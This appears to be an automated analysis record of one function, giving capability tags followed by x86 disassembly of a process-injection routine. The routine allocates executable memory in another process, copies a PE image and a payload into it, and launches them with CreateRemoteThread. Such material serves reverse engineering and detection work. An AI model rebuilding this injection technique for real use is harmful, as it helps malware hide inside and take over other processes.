Function at 0x401130
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov ecx, dword [esp + 0x28]
mov eax, dword [0x521280]
xor eax, esp
mov dword [esp + 0xc], eax
mov ebx, dword [ecx + 0x3c]
movzx eax, word [ecx + ebx + 4]
mov esi, 2
cmp eax, 0x14c
jne 0x40131b
mov edi, dword [esp + 0x24]
add ebx, ecx
push 0x40
push 0x3000
push dword [ebx + 0x50]
push 0
push dword [edi]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test eax, eax
jne 0x40119c
push 0x40
push 0x3000
push dword [ebx + 0x50]
push 0
push dword [edi]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test eax, eax
je 0x4012ef
mov dword [esp + 8], 0
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 4], eax
movzx eax, word [ebx + 6]
test ax, ax
je 0x40120d
movzx ecx, word [ebx + 0x14]
lea ebp, [ebx + ecx]
add ebp, 0x2c
xor edi, edi
jmp 0x4011db
inc edi
movzx ecx, ax
add ebp, 0x28
cmp edi, ecx
je 0x40120d
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x4011d0
mov eax, dword [ebp]
add eax, dword [esp + 0x28]
mov edx, dword [ebp - 8]
add edx, esi
push 0
push ecx
push eax
push edx
mov eax, dword [esp + 0x34]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4012d4
movzx eax, word [ebx + 6]
jmp 0x4011d0
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0x1000
push dword [esp + 0x30]
push esi
mov ebp, dword [esp + 0x34]
push dword [ebp]
call edi
mov eax, esp
push 0
push 0xc
push eax
push esi
push dword [ebp]
call edi
mov eax, dword [ebp]
sub esp, 0x14
movaps xmm0, xmmword [section..rdata]
movups xmmword [esp + 4], xmm0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
mov eax, dword [ebp]
test edi, edi
je 0x4012be
push 0
push 0x1000
push 0x401330
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push esi
push edi
push 0
push 0
push dword [ebp]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x4012f6
mov ebx, eax
mov eax, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
push str.Waiting_for_shellcode..._n
push eax
call fcn.00401540
add esp, 8
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
push edi
push dword [ebp]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor esi, esi
jmp 0x40131b
push 0x8000
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov esi, 5
jmp 0x40131b
push 0x8000
push 0
push esi
mov eax, dword [esp + 0x30]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov esi, 4
jmp 0x40131b
mov esi, 3
jmp 0x40131b
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push esi
push dword [ebp]
call ebx
push 0x8000
push 0
push edi
push dword [ebp]
call ebx
mov esi, 6
mov ecx, dword [esp + 0xc]
xor ecx, esp
call fcn.00414a3c
mov eax, esi
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret